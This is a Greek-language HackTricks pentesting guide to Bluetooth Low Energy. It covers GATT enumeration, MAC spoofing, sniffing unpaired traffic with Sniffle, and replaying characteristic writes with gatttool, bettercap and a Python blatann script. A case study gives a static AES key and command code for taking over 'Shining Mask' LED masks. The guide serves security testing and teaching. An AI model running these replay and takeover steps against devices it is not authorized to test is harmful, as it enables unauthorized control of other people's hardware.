Pentesting BLE - Bluetooth Low Energy

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Εισαγωγή

Διαθέσιμο από την προδιαγραφή Bluetooth 4.0, το BLE χρησιμοποιεί μόνο 40 κανάλια, καλύπτοντας το εύρος 2400 έως 2483.5 MHz. Αντίθετα, το παραδοσιακό Bluetooth χρησιμοποιεί 79 κανάλια στο ίδιο εύρος.

Οι συσκευές BLE επικοινωνούν στέλνοντας advertising packets (beacons), αυτά τα πακέτα διαδίδουν την ύπαρξη της συσκευής BLE σε άλλες κοντινές συσκευές. Αυτά τα beacons μερικές φορές αποστέλλουν δεδομένα, επίσης.

Η συσκευή που ακούει, η οποία λέγεται επίσης central device, μπορεί να απαντήσει σε ένα advertising packet με ένα SCAN request που αποστέλλεται ειδικά στη διαφημιζόμενη συσκευή. Η απάντηση σε αυτό το scan χρησιμοποιεί την ίδια δομή με το advertising packet με επιπλέον πληροφορίες που δεν χωρούσαν στο αρχικό advertising request, όπως το πλήρες όνομα της συσκευής.

Το preamble byte συγχρονίζει τη συχνότητα, ενώ η τετραπλή access address είναι ένας connection identifier, που χρησιμοποιείται σε σενάρια όπου πολλές συσκευές προσπαθούν να δημιουργήσουν συνδέσεις στα ίδια κανάλια. Στη συνέχεια, το Protocol Data Unit (PDU) περιέχει τα advertising data. Υπάρχουν διάφοροι τύποι PDU· οι πιο κοινά χρησιμοποιούμενοι είναι οι ADV_NONCONN_IND και ADV_IND. Οι συσκευές χρησιμοποιούν τον τύπο PDU ADV_NONCONN_IND αν δεν αποδέχονται συνδέσεις, μεταδίδοντας δεδομένα μόνο στο advertising packet. Οι συσκευές χρησιμοποιούν ADV_IND αν επιτρέπουν συνδέσεις και παύουν να στέλνουν advertising packets μόλις μια σύνδεση έχει εγκατασταθεί.

GATT

Το Generic Attribute Profile (GATT) ορίζει πώς η συσκευή πρέπει να διαμορφώνει και να μεταφέρει δεδομένα. Όταν αναλύετε την επιφάνεια επίθεσης μιας συσκευής BLE, συχνά θα εστιάσετε στην GATT (ή GATTs), επειδή εκεί γίνεται το πώς η λειτουργικότητα της συσκευής ενεργοποιείται και πώς τα δεδομένα αποθηκεύονται, ομαδοποιούνται και τροποποιούνται. Η GATT καταγράφει τα characteristics, descriptors και services μιας συσκευής σε έναν πίνακα ως τιμές 16- ή 32-bit. Μια characteristic είναι μια τιμή δεδομένων που αποστέλλεται μεταξύ του central device και peripheral. Αυτές οι characteristics μπορούν να έχουν descriptors που παρέχουν πρόσθετες πληροφορίες γι’ αυτές. Οι characteristics συχνά ομαδοποιούνται σε services αν σχετίζονται με την εκτέλεση μιας συγκεκριμένης ενέργειας.

Enumeration

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool επιτρέπει την εγκαθίδρυση μιας σύνδεσης με άλλη συσκευή, την καταγραφή των χαρακτηριστικών της συσκευής και την ανάγνωση και εγγραφή των ιδιοτήτων της.\ GATTTool μπορεί να ξεκινήσει ένα interactive shell με την επιλογή -I:

GATTTool διαδραστική χρήση και παραδείγματα ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing και ενεργός έλεγχος μη-ζευγοποιημένων συσκευών BLE

Πολλές χαμηλού κόστους περιφερειακές συσκευές BLE δεν επιβάλλουν pairing/bonding. Χωρίς bonding, η Link Layer encryption δεν ενεργοποιείται ποτέ, οπότε η ATT/GATT κίνηση είναι σε cleartext. Ένας off-path sniffer μπορεί να ακολουθήσει τη σύνδεση, να αποκωδικοποιήσει GATT operations για να μάθει τους characteristic handles και values, και οποιοσδήποτε κοντινός host μπορεί μετά να συνδεθεί και να replay εκείνα τα writes για να ελέγξει τη συσκευή.

Sniffing με Sniffle (CC26x2/CC1352)

Hardware: ένα Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) επαναπρογραμματισμένο με το Sniffle firmware της NCC Group.

Install Sniffle and its Wireshark extcap on Linux:

Εγκατάσταση Sniffle extcap (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Flash Sonoff with Sniffle firmware (βεβαιωθείτε ότι η σειριακή συσκευή σας είναι σωστή, π.χ. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Καταγράψτε στο Wireshark μέσω του Sniffle extcap και pivot γρήγορα σε state-changing writes φιλτράροντας:

_ws.col.info contains "Sent Write Command"

Αυτό επισημαίνει ATT Write Commands από τον client· το handle και το value συχνά αντιστοιχούν άμεσα σε ενέργειες της συσκευής (π.χ., write 0x01 σε buzzer/alert characteristic, 0x00 για διακοπή).

Sniffle CLI γρήγορα παραδείγματα:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Εναλλακτικό sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin δουλεύει επίσης. Σε μικρά/φθηνά Nordic dongles συνήθως αντικαθιστάτε τον USB bootloader για να φορτώσετε το sniffer firmware, οπότε είτε διατηρείτε ένα αφιερωμένο sniffer dongle είτε χρειάζεστε J-Link/JTAG για να επαναφέρετε τον bootloader αργότερα.

Ενεργός έλεγχος μέσω GATT

Μόλις εντοπίσετε ένα writable characteristic handle και την αντίστοιχη value από την sniffed traffic, συνδεθείτε ως οποιοδήποτε central και πραγματοποιήστε το ίδιο write:

  • Με το Nordic nRF Connect for Desktop (BLE app):

  • Επιλέξτε το nRF52/nRF52840 dongle, σκανάρετε και συνδεθείτε στον στόχο.

  • Περιηγηθείτε στη GATT database, εντοπίστε το target characteristic (συχνά έχει ένα φιλικό όνομα, π.χ. Alert Level).

  • Εκτελέστε ένα Write με τα sniffed bytes (π.χ., 01 για trigger, 00 για stop).

  • Αυτοματοποιήστε σε Windows με ένα Nordic dongle χρησιμοποιώντας Python + blatann:

Python blatann write example (Windows + Nordic dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Μελέτη περίπτωσης: κατάληψη BLE LED μασκών (Shining Mask family)

Cheap, white‑labeled BLE LED μάσκες που ελέγχονται από την εφαρμογή “Shining Mask” δέχονται έλεγχο εγγραφής από οποιοδήποτε κοντινό central χωρίς pairing/bonding. Η εφαρμογή χρησιμοποιεί GATT σε ένα command characteristic και ένα data characteristic· οι εντολές είναι AES‑ECB κρυπτογραφημένες με στατικό κλειδί hard‑coded στην εφαρμογή, ενώ τα bulk image δεδομένα δεν είναι κρυπτογραφημένα.

Κύρια UUID σε αυτές τις συσκευές:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Μη-επαληθευμένες GATT εγγραφές
- No pairing/bonding required. Οποιοσδήποτε host μπορεί να συνδεθεί και να γράψει στο command UUID για να αλλάξει τη φωτεινότητα, να επιλέξει εικόνες, να ξεκινήσει animations, κ.λπ.
- Συνήθεις ενέργειες που παρατηρήθηκαν: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

Δομή εντολών AES με στατικό κλειδί
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Γνωστό στατικό κλειδί (hex): 32672f7974ad43451d9c6c894a0e8764

Python helper για κρυπτογράφηση και αποστολή εντολής (παράδειγμα: ρύθμιση μέγιστης φωτεινότητας):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Ροή μεταφόρτωσης εικόνας

  • Μετά από κρυπτογραφημένο DATS handshake, ακατέργαστα τμήματα γράφονται μη κρυπτογραφημένα στο data characteristic …960a.
  • Μορφή πακέτου: [len][seq][payload]. Εμπειρικά, ~100 bytes payload ανά πακέτο λειτουργεί αξιόπιστα.
Ελάχιστο pseudo-code μεταφόρτωσης εικόνας ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

## Σημειώσεις λειτουργίας

- Προτιμήστε το Sonoff+Sniffle σε Linux για αξιόπιστο channel hopping και connection following. Κρατήστε έναν επιπλέον Nordic sniffer ως εφεδρεία.
- Χωρίς pairing/bonding, οποιοσδήποτε κοντινός attacker μπορεί να παρακολουθήσει writes και να replay/craft δικά του σε unauthenticated writable characteristics.

## Αναφορές

- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Μάθετε & εξασκηθείτε στο Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>